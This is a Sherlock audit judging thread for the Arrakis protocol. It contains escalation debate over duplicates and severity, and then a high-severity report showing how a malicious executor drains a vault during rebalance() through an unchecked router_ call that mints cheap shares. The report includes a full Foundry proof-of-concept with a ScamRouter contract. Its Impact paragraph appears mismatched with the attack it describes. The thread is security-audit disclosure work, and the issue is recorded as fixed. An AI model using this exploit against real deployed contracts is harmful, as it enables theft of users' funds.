Open sherlock-admin4 opened 3 months ago
escalate not dups of https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/76 the issue should be dups of https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/28 Because it also exploiting the router in the swap and malicious payload.
escalate not dups of https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/76 the issue should be dups of https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/28 Because it also exploiting the router in the swap and malicious payload.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
i would say all of them are dups to the same issue which is this
malicious payload with not checked
_router
call either this is used to gain leverage to the system or to steal funds
cause either way this specific low level call is the Root Cause
Escalate
A different escalation to the first one.
This should be a high, since 99% of vault liquidity is stolen.
Escalate
A different escalation to the first one.
This should be a high, since 99% of vault liquidity is stolen.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
@0xjuaan do you agree it's a duplicate of #28?
@WangSecurity no these are both very different.
This one involves stealing all the vault funds via minting cheap shares during rebalance.
claimPoolManagerFees
instead of performing a swap, to obtain the manager fees and re-deposit them through the rebalance, rather than passing the manager fees to the manager.@WangSecurity hello sir, would you kindly elaborate to me dups rules here multiple issues here identifying this low level call here by malicious executor
{
(bool success,) = router_.call(payload_);
if (!success) revert SwapCallFailed();
}
in ValantisModule::swap()
as different issues cause they are showing different attack path that can hurt the protocol
what i see is that if ever in the payload the router
address verified all of the issues would be resolved hinting that they are same root cause
Before we continue the discussion about this specific report, let's do the following:
Tagging all Watsons who submitted and escalated reports about the malicious executor stealing funds or harming the protocol in general via ArrakisStandardManager::rebalance
(Arrakis Standard Manager = ASM):
@CergyK @0xjuaan @cu5t0mPeo @kennedy1030 @ADK0010 (please tag the missing ones if there are any, also tagging @IWildSniperI cause active in the discussions).
Here're the issues:
As I see, in all of these functions the exploit happens at the call to the router (input by the malicious executor) with arbitrary payloads
in ASM. In some of them, the problem is solved via setting additional validation on the called functions (for example, price bounds), in others, the problem is solved by setting additional constraints on the payloads
. So I'd like to get a clarification from Watsons on how you view these issues and why you think they have different root causes (the explanation can be as simple as possible, just 1 sentence).
For now, let's continue the discussion here, and then we'll move to each specific report. Also, I know that in some reports the problem is in the quality of the report, we'll discuss it once we finish this discussion
@WangSecurity https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/19 is not a duplicate of this issue.
Yaah they all seem to be together , but as you mentioned some of the above reports have faults in it - so I don't think all of them are valid as they might not either have essential elements to execute the attack or they have forgotten about some checks done by Protocol making their attack invalid.
@WangSecurity please look into discussions #76 , #55 , #59 ,#9 , #49
Also this issue seems to be part of the same family #8 ,
as it involves Doing an arbitrary call to an arbitrary address (router_.call(payload_))
as you can see in the report - the root cause seem to be same ( it's just that the arbitrary call is done onto SovereignPool
) and attack path has been well explained by report , so a valid dup .
@WangSecurity from what i see, every issue solved by validation of the router low level call should be grouped together If the solution happens, then no one can call any leveraged function in the sovereign pool or in the HotModule nor Hot.sol in the context of arrakisMetaVault No one would be able to call malicious routers to drain funds
To get more sense, what are the routers that the executor is expected to call (for simplicity, let's assume what a trusted executor would call)? I assume it's ArrakisPublicVaultRouter
or RouterSwapExecutor
? Correct me if wrong.
To get more sense, what are the routers that the executor is expected to call (for simplicity, let's assume what a trusted executor would call)? I assume it's
ArrakisPublicVaultRouter
orRouterSwapExecutor
? Correct me if wrong.
The router is not restricted; it can be any address on Ethereum. ArrakisPublicVaultRouter
is a user input value. Users can deposit through this contract, which will then call the relevant functions of the public vault to deposit the amount into the pool. Additionally, this contract can perform a swap before making a deposit. When users perform a swap, they will be using RouterSwapExecutor
.
Thank you very much. If we assume the executor is trusted, would it be possible that they call these 2 Arrakis Routers, or these are only for users and would cause issues if executor called them (even with correct values without a malicious intent)?
Thank you very much. If we assume the executor is trusted, would it be possible that they call these 2 Arrakis Routers, or these are only for users and would cause issues if executor called them (even with correct values without a malicious intent)?
It should be impossible because if you want to call the functions in ArrakisPublicVaultRouter
during rebalance
, the amount will eventually be deposited into the pool. This prevents rebalance
from completing subsequent checks because, during the swap, the entire amount is withdrawn from the pool and then redeposited. RouterSwapExecutor
is generally called by ArrakisPublicVaultRouter
.
If other Watsons find any errors in my description above, please correct me.
@WangSecurity Here is the related proof:https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/ArrakisPublicVaultRouter.sol#L106-L113
@WangSecurity, I believe that while the vulnerabilities involve the same external call for the attack, they should be not duplicated for the following reasons:
To say that the fix for all the issues is to simply place a whitelist on the router_
parameter is too restrictive. The executor should be able to search for the best opportunity to swap on-chain during the rebalance, depending on how much value to swap which changes over time. If a whitelist was used, and a new router is found that can achieve the swap at the best rate, it would take 2+ days to add it to the whitelist.
The entire reason for the various checks (expectedMinReturn_
, TVL slippage check, price oracle check) in the ArrakisStandardManager.rebalance()
function and ValantisHOTModule.swap()
function is to prevent a malicious router_
from being used, since they aim to catch errors that steal funds from the protocol during the rebalance.
The attacks show ways to bypass these checks with completely different methods, so the fix should be to add more checks (similar to the checks that already exist).
For example, for #44 a valid fix would be to prevent mint()
from being called on the vault during a rebalance through a cross-contract non-reentrant check, alternatively the solution provided by @CergyK in #76 also helps to minimise the damage.
On the other hand, #8 exploits the fact that the external call can be used to call admin-only functions in the SovereignPool
via the ValantisHOTModule
, causing stolen funds for the manager. The fix would be to disallow the router_
from being any contracts which provide admin-only functionality to the ValantisHOTModule
to prevent the executor from breaching access control.
While restricting router_
to a whitelist technically prevents the attacks, it also hinders the functionality of the protocol and is an overly restrictive solution, and is definitely not optimal. Since there are already various checks during rebalance, it is clear that the protocol intent was to allow the executor
to provide any router_
as long as it meets constraints like expectedMinReturn_
and the vault TVL does not drop significantly after the rebalance.
The attacks show features that the protocol did not consider (1. minting cheap shares from the vault, or 2. calling admin-only functions), so additional checks should be added to prevent these attacks.
This means that the reports should not be duplicated, since their attack methods and root causes are different.
Thank you very much for that clarification. I agree these all shouldn't be duplicates under one family. Moving the discussion to each individual issue.
About escalations on this report:
I believe it's not a duplicate of #28, since the attack, the impact and the fix are completely different. Planning to reject the first escalation.
I agree with the second escalation that it's high severity, cause even with the constraints, the losses are still 99%. Planning to accept the second escalation.
Since the current decision is to invalidate #76 and #55, this report will become a solo high.
@WangSecurity 2 Reasons given by @0xjuaan here , I have some doubts regarding it .
1) Yaah , there are many exchanges across Defi which uses whitelisted routers for swap but it doesn't mean they don't get best rates . Best rates amongst the whitelisted routes can be chosen by executor to perform the swap . just because some new swap router shows better rates , executor shouldn't be allowed to use it - as it might be a Malicious router , so it's always better to use only whitelisted routers and a timelock of 2+ days is acceptable here . 2) Yaah , all the checks involved are to reduce possibility of drainage of funds from the Protocol , it is true .
My point is - it is true that reports mention by @WangSecurity at here (other than the invalid ones) have completely different paths to exploit the invalid _router
setup by Malicious executor & it would have been judged as separate issues in any other platforms . But the Sherlock Rules for this contest says something different -
`There is a root cause/error/vulnerability A in the code. This vulnerability A -> leads to two attack paths:
It's a very fair point, but I believe in that case it would be fairer to separate those into different groups, since as I understand whitelisted routers are not implemented now to give that freedom of choosing the better one. Also this part of the rule:
The exception to this would be if underlying code implementations, impact, and the fixes are different, then they can be treated separately
Hence, I believe better to separate them in this specific case.
Hence the decision remains the same as expressed here
Result: High Unique
The protocol team fixed this issue in the following PRs/commits: https://github.com/ArrakisFinance/arrakis-modular/pull/88
The Lead Senior Watson signed off on the fix.
juaan
high
Through rebalance(), an executor can drain 100% of vault reserves by minting cheap shares
Summary
The contest README states the following:
This is a complex attack performed by a malicious executor to drain a vault during rebalance.
It requires at least one of the tokens to be a rebase token, since it requires the pool reserves to be increased without calling
HOT.depositLiquidity()
Vulnerability Detail
On calling
rebalance()
, it makes a call to the module, with providedpayloads_
from theexecutor
:For this attack, the payload’s function signature will be of the
swap()
function in theValantisHOTModule
The
swap()
function essentially does these 3 things:router_.call(payload_)
)The intended functionality is that in step 2, a call is made to a router which swaps the tokens to rebalance the funds. However, since the
router_
param is not checked, a malicious executor can pass in any address they want.Root Cause
After step 1, the pool’s reserves for both tokens is
0
. Then in step 2, the executor can mint vault shares at a very cheap price, since the price depends on the pool’s reserves.Attack Details
However, when pool reserves are equal to
0
, depositing liquidity will fail due to the error:SovereignPool__depositLiquidity_zeroTotalDepositAmount
. To solve this, the executor must be able to somehow slightly increase the values returned bypool.getReserves()
For non-rebase tokens, the only way would be to increase
reserve0
orreserve1
in the pool, but this would require depositing liquidity, which would revert since the reserves are0
.However for rebase tokens, the reserves are calculated via:
This can be inflated by the executor since they simply have to send the token to the pool.
Now after step2, the
swap()
function also has a check to ensure thatexpectedMinReturn_
is met.To ensure that this doesn’t revert, the executor simply passes
expectedMinReturn=1
(0 can’t be used due to_checkMinReturn()
) andamountIn=1
, and sends 1 wei of the output token to the module, to meet the minimum expected return.Note that the additional TVL slippage checks in
rebalance()
are not effective at preventing this attack, since the attacker redeems their vault shares after the rebalance is over.Summary of Attack (see PoC for implementation):
ArrakisStandardManager.rebalance()
ValantisModule.swap()
is called, withexpectedMinReturn=1
andamountIn=1
andzeroToOne=false
router_.call(payload)
, which callsmintFreeShares()
on the attacker’s fake router contractSovereignPool
, so that the reserves are non-zero100e18
vault shares, for the price of 100 wei (since the liquidity was withdrawn in step1 of theswap()
function)]token0
to the module, so that theexpectedMinReturn_
check does not revertValantisModule.swap()
occurs, re-depositing funds into the pool.Vault.burn(100e18, attacker)
to burn the 100e18 shares, stealing over 99% of the vault’s funds.Ultimately, the attacker is able to steal 99% of the pool’s reserves, while spending 100 wei of each token, which is a negligible cost.
Impact
100% of the fees which are meant for the Arrakis manager are re-deposited into the pool by a malicious
executor
and never claimable by the manager.Proof of Concept
Here is a coded proof of concept demonstrating the vulnerability in action.
To run the PoC:
arrakis-modular/test/integration
directory.ValantisIntegrationPublicTest.sol
, to configure the pool with rebase tokensforge test --mt test_maliciousExecutor_mintsFreeShares -vv
in the terminal.Coded PoC
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry Imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {Test} from "forge-std/Test.sol"; // Arrakis Imports import {IOracleWrapper} from "../../src/interfaces/IOracleWrapper.sol"; import {ArrakisMetaVaultPublic} from "../../src/ArrakisMetaVaultPublic.sol"; import {ArrakisStandardManager} from "../../src/ArrakisStandardManager.sol"; import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IArrakisStandardManager} from "../../src/interfaces/IArrakisStandardManager.sol"; import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; // Valantis Imports import {HOT} from "@valantis-hot/contracts/HOT.sol"; import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; // General Imports import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // Base test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; contract FreeShares is ValantisIntegrationPublicTest { address attacker; address rec; function test_maliciousExecutor_mintsFreeShares() public { attacker = makeAddr("attacker"); rec = makeAddr("rec"); // Malicious executor's balance before rebalancing console.log("[BEFORE]:\n executor's balance- token0: %e, token1: %e", token0.balanceOf(executor), token1.balanceOf(executor)); vm.startPrank(executor); deal(address(token0), rec, init0); // 2000e6 (0: USDC) deal(address(token1), rec, init1); // 1e18 (1: WETH) address m = address(IArrakisMetaVault(vault).module()); //@e user mints from meta vault vm.startPrank(rec); token0.approve(m, init0); token1.approve(m, init1); IArrakisMetaVaultPublic(vault).mint(1e18, rec); vm.stopPrank(); // Setup ScamRouter ScamRouter scamRouter = new ScamRouter(token0, token1, address(vault), executor, address(pool)); deal(address(token0), address(scamRouter), 150 wei); deal(address(token1), address(scamRouter), 150 wei); (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves(); console.log("Pool TVL Before: %e USDC", _getPoolTVL(reserves0Before, reserves1Before)); bool zeroForOne = false; uint256 amountIn = 1; uint256 expectedMinReturn = 1; // This is the payload sent to the `router_` within `HOTModule.swap()`- called from `StandardManager.rebalance()` bytes memory router_payload = abi.encodeWithSelector( ScamRouter.mintFreeShares.selector ); bytes memory payload = abi.encodeWithSelector( IValantisHOTModule.swap.selector, zeroForOne, expectedMinReturn, amountIn, address(scamRouter), 0, 0, router_payload // to send to the fake router ); bytes[] memory datas = new bytes[](1); datas[0] = payload; vm.prank(executor); IArrakisStandardManager(manager).rebalance(vault, datas); vm.prank(executor); ArrakisMetaVaultPublic(vault).burn(100e18, executor); console.log("[AFTER]:\n executor's balance- token0: %e, token1: %e", token0.balanceOf(executor), token1.balanceOf(executor)); // Pool reserves (uint256 reserves0After, uint256 reserves1After) = pool.getReserves(); console.log("Pool TVL After: %e USDC\n", _getPoolTVL(reserves0After, reserves1After)); console.log("Token0 (USDC) Reserves Before->After: %e->%e", reserves0Before, reserves0After); console.log("Token1 (ETH) Reserves Before->After: %e->%e", reserves1Before, reserves1After); uint256 executorTotalValue = _getPoolTVL(token0.balanceOf(executor), token1.balanceOf(executor)); } function _getPoolTVL(uint256 a, uint256 b) internal view returns (uint256){ return a + b * IOracleWrapper(oracle).getPrice1() / 10**token1.decimals(); } } contract ScamRouter { // This will deposit to get free shares ERC20 public token0; ERC20 public token1; ArrakisMetaVaultPublic vault; address pool; address owner; constructor(ERC20 t0, ERC20 t1, address _vault, address _owner, address _pool) { token0 = t0; token1 = t1; vault = ArrakisMetaVaultPublic(_vault); owner = _owner; pool = _pool; } function mintFreeShares() external { address module = address(vault.module()); token0.transfer(pool, 1 wei); token1.transfer(pool, 1 wei); token0.approve(module, 100 wei); token1.approve(module, 100 wei); vault.mint(100e18, owner); token0.transfer(msg.sender, 1 wei); // prevent expectedMinReturn from failing (since we didnt swap anything) } } ```Console Output:
As you can see, the pool TVL dropped from 4000 USDC to ~40 USDC. Over 99% of the pool’s reserves were stolen in a single transaction by the malicious executor.
Code Snippet
The arbitrary call to the arbitrary
router_
https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L375-L378
expectedMinReturn_ check that is bypassed by sending 1 wei
https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L384-L397
Tool used
Manual Review
Recommendation
Do not allow
HOT.depositLiquidity()
to be called during a rebalance.